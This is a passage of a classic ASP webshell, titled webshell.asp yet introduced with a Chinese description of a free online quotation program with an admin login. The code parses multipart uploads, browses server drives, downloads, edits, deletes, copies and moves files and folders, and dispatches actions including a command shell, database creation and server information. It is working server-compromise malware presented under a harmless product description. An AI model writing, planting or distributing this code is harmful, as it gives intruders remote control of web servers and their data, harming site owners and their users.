webshell.asp

在线报价程序V0.1 免费版： 1、后台添加产品 2、后台分类 3、后台添加友情连接 4、会员管理 5、客户留言 6、在线订单 7、捆绑了《忠网广告管理系统》 8、公告发布、管理 管理员：admin

  End Function

  Private Sub Class_Initialize
  Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName
    set D1=CreateObject(ObT(4,0))
	if Request.TotalBytes<1 then Exit Sub
    set T1 = CreateObject(ObT(6,0))
	T1.Type = 1 : T1.Mode =3 : T1.Open
    T1.Write  Request.BinaryRead(Request.TotalBytes)
    T1.Position=0 : TDa =T1.Read : DStart = 1
    DEnd = LenB(TDa)
    set D2=CreateObject(ObT(4,0))
	vbCrlf = chrB(13) & chrB(10)
    set T2 = CreateObject(ObT(6,0))
    TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1)
    TLen = LenB (TSt)
    DStart=DStart+TLen+1
    while (DStart + 10) < DEnd
      DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3
      T2.Type = 1 : T2.Mode =3 : T2.Open
      T1.Position = DStart
      T1.CopyTo T2,DIEnd-DStart
      T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312"
      TIn = T2.ReadText : T2.Close
      DStart = InStrB(DIEnd,TDa,TSt)
      FStart = InStr(22,TIn,"name=""",1)+6
      FEnd = InStr(FStart,TIn,"""",1)
      UpName = lcase(Mid (TIn,FStart,FEnd-FStart))
      if InStr (45,TIn,"filename=""",1) > 0 then
        set TFL=new FIF
        FStart = InStr(FEnd,TIn,"filename=""",1)+10
        FEnd = InStr(FStart,TIn,"""",1)
        FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14
        FEnd = InStr(FStart,TIn,vbCr)
        TFL.FileStart =DIEnd
        TFL.FileSize = DStart -DIEnd -3
        if not D2.Exists(UpName) then
          D2.add UpName,TFL
        end if
      else
        T2.Type =1 : T2.Mode =3 : T2.Open
        T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3
        T2.Position = 0 : T2.Type = 2
        T2.Charset ="gb2312"
        SFV = T2.ReadText
        T2.Close
        if D1.Exists(UpName) then
          D1(UpName)=D1(UpName)&", "&SFV
        else
          D1.Add UpName,SFV
        end if
      end if
      DStart=DStart+TLen+1
    wend
    TDa=""
    set T2 =nothing
  End Sub
  
  Private Sub Class_Terminate
    if Request.TotalBytes>0 then
      D1.RemoveAll:D2.RemoveAll
      set D1=nothing:set D2=nothing
      T1.Close:set T1 =nothing
    end if
  End Sub
End Class

Class FIF
dim FileSize,FileStart
  Private Sub Class_Initialize
  FileSize = 0
  FileStart= 0
  End Sub
  
  Public function SaveAs(F)
  dim T3
  SaveAs=true
  if trim(F)="" or FileStart=0 then exit function
  set T3=CreateObject(ObT(6,0))
     T3.Mode=3 : T3.Type=1 : T3.Open
     T1.position=FileStart
     T1.copyto T3,FileSize
     T3.SaveToFile F,2
     T3.Close
     set T3=nothing
     SaveAs=false
   end function
End Class


Class LBF
  Dim CF
  Private Sub Class_Initialize
    SET CF=CreateObject(ObT(0,0))
  End Sub

  Private Sub Class_Terminate
    Set CF=Nothing
  End Sub

  Function ShowDriver()
    For Each D in CF.Drives
      SI=SI&"<tr><td>&nbsp;&nbsp;"
      SI=SI&IsIco("plus.gif","driver.gif","v")
      SI=SI&"<a href='javascript:ShowFolder("""&D.DriveLetter&":\\"")'>本地磁盘 ("&D.DriveLetter&":)</a>" 
      SI=SI&"</td></tr>"
    Next
	ShowDriver=SI
  End Function
  
  Function FileIco(FName) 
  If ShowFileIco=true Then
    TypeList = ".asp.asa.bat.bmp.com.doc.db.dll.exe.fla.gif.htm.html.inc.ini.jpg.js.log.mdb.mid.mp3.png.php.rm.rar.swf.txt.wav.xls.xml.zip"
    FileType = lcase(Mid(FName, InstrRev(FName,".")+1))
    If Instr(TypeList,"."&FileType)>0 then
      Ico = FileType&".gif"
    Else
      Ico = "default.gif"
    End If
  
    FileIco = "<img src='"&IcoPath&Ico&"' border='0'> "
  Else 
    FileIco="<font face='wingdings' color='#006600' size='3'>2</font> "
  End If
  End Function

  Function ShowFile(Path)
  Set FOLD=CF.GetFolder(Path)
  i=0
    SI="<table width='100%'  border='0' cellspacing='0' cellpadding='0' bgcolor='#EFEFEF'><tr>"
  For Each F in FOLD.subfolders
    SI=SI&"<td>"
	SI=SI&IsIco("","folder.gif","0")
    SI=SI&" <a href='javascript:ShowFolder("""&RePath(Path&"\"&F.Name)&""")'>"&F.Name&"</a>" 
    SI=SI&" | <a href='javascript:FullForm("""&Replace(Path&"\"&F.Name,"\","\\")&""",""DelFolder"")'  onclick='return yesok()' class='am' title='删除'>D</a>"
	SI=SI&" <a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""CopyFolder"")'  onclick='return yesok()' class='am' title='复制'>C</a>"
	SI=SI&" <a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""MoveFolder"")'  onclick='return yesok()' class='am' title='移动'>M</a>"
	i=i+1
    If i mod 3 = 0 then SI=SI&"</tr><tr>"
  Next
    SI=SI&"</tr><tr><td height=5></td></tr></table>"
	Response.Write SI : SI=""
  
  For Each L in Fold.files
    SI="<table width='100%'  border='0' cellspacing='1' cellpadding='0'>"
    SI=SI&"<tr onMouseOver=""this.className='tr'"" onMouseOut=""this.className=''"">"
    SI=SI&"<td height='20'>"&FileIco(L.Name)
	SI=SI&"<a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DownFile"");' title='下载'>"&L.Name&"</a></td>"
    SI=SI&"<td width='140'>"&L.Type&"</td>"
    SI=SI&"<td width='50'>"&clng(L.size/1024)&"K</td>"
    SI=SI&"<td width='120'>"&L.DateLastModified&"</td>"
    SI=SI&"<td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""EditFile"")' class='am' title='编辑'>edit</a></td>"
	SI=SI&"<td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DelFile"")'  onclick='return yesok()' class='am' title='删除'>del</a></td>"
	SI=SI&"<td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""CopyFile"")' class='am' title='复制'>copy</a></td>"
	SI=SI&"<td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""MoveFile"")' class='am' title='移动'>move</a></td>"
    SI=SI&"</tr></table>"
	Response.Write SI : SI=""
  Next
  Set FOLD=Nothing
  End function
  
  Function DelFile(Path)
    If CF.FileExists(Path) Then
	  CF.DeleteFile Path
      SI="<center><br><br><br>文件 "&Path&" 删除成功！</center>"
      SI=SI&BackUrl
	  Response.Write SI
	End If
  End Function
  
  Function EditFile(Path)
  If Request("Action2")="Post" Then
      Set T=CF.CreateTextFile(Path)
        T.WriteLine Request.form("content")
        T.close
      Set T=nothing
    SI="<center><br><br><br>文件保存成功！</center>"
    SI=SI&BackUrl
    Response.Write SI
	Response.End
  End If
  
  If Path<>"" Then
    Set T=CF.opentextfile(Path, 1, False)
    Txt=HTMLEncode(T.readall) 
    T.close
    Set T=Nothing
  Else
    Path=Session("FolderPath")&"\newfile.asp":Txt="新建文件"
  End If
  
  SI="<table width='100%' height='100%'><tr><td valign='top' align='center'>"  
  SI=SI&"<Form action='"&URL&"?Action2=Post' method='post' name='EditForm'>"
  SI=SI&"<input name='Action' value='EditFile' Type='hidden'>"
  SI=SI&"<input name='FName' value='"&Path&"' style='width:100%'><br>"
  SI=SI&"<textarea name='Content' style='width:100%;height:450'>"&Txt&"</textarea><br>"
  SI=SI&"<hr><input name='goback' type='button' value='返回' onclick='history.back();'>&nbsp;&nbsp;&nbsp;<input name='reset' type='reset' value='重置'>&nbsp;&nbsp;&nbsp;<input name='submit' type='submit' value='保存'></form>"
  SI=SI&"</td></tr></table></body></html>"
  Response.Write SI
  End Function
  
  Function CopyFile(Path)
  Path = Split(Path,"||||")
    If CF.FileExists(Path(0)) and Path(1)<>"" Then
	  CF.CopyFile Path(0),Path(1)
      SI="<center><br><br><br>文件"&Path(0)&"复制成功！</center>"
      SI=SI&BackUrl
	  Response.Write SI 
	End If
  End Function

  Function MoveFile(Path)
  Path = Split(Path,"||||")
    If CF.FileExists(Path(0)) and Path(1)<>"" Then
	  CF.MoveFile Path(0),Path(1)
      SI="<center><br><br><br>文件"&Path(0)&"移动成功！</center>"
      SI=SI&BackUrl
	  Response.Write SI 
	End If
  End Function

  Function DelFolder(Path)
    If CF.FolderExists(Path) Then
	  CF.DeleteFolder Path
      SI="<center><br><br><br>目录"&Path&"删除成功！</center>"
      SI=SI&BackUrl
	  Response.Write SI
	End If
  End Function

  Function CopyFolder(Path)
  Path = Split(Path,"||||")
    If CF.FolderExists(Path(0)) and Path(1)<>"" Then
	  CF.CopyFolder Path(0),Path(1)
      SI="<center><br><br><br>目录"&Path(0)&"复制成功！</center>"
      SI=SI&BackUrl
	  Response.Write SI
	End If
  End Function

  Function MoveFolder(Path)
  Path = Split(Path,"||||")
    If CF.FolderExists(Path(0)) and Path(1)<>"" Then
	  CF.MoveFolder Path(0),Path(1)
      SI="<center><br><br><br>目录"&Path(0)&"移动成功！</center>"
      SI=SI&BackUrl
	  Response.Write SI
	End If
  End Function

  Function NewFolder(Path)
    If Not CF.FolderExists(Path) and Path<>"" Then
	  CF.CreateFolder Path
      SI="<center><br><br><br>目录"&Path&"新建成功！</center>"
      SI=SI&BackUrl
	  Response.Write SI
	End If
  End Function
End Class


Select Case Action
  Case "MainMenu":MainMenu()
  Case "ShowFile"
    Set ABC=New LBF:ABC.ShowFile(Session("FolderPath")):Set ABC=Nothing
  Case "DownFile":DownFile FName:ShowErr()
  Case "DelFile"
    Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing
  Case "EditFile"
    Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing
  Case "CopyFile"
    Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing
  Case "MoveFile"
    Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing
  Case "DelFolder"
    Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing
  Case "CopyFolder"
    Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing
  Case "MoveFolder"
    Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing
  Case "NewFolder"
    Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing
  Case "UpFile":UpFile()
  Case "Logout":Session.Contents.Remove("GXGL"):Response.Redirect URL
  Case "CmdShell":CmdShell()
  Case "CreateMdb":CreateMdb FName
  Case "CompactMdb":CompactMdb FName
  Case "DbManager":DbManager()
  Case "ServerInfo":ServerInfo()
  Case Else MainForm()
End Select
ShowErr()
%>
</body>
</html>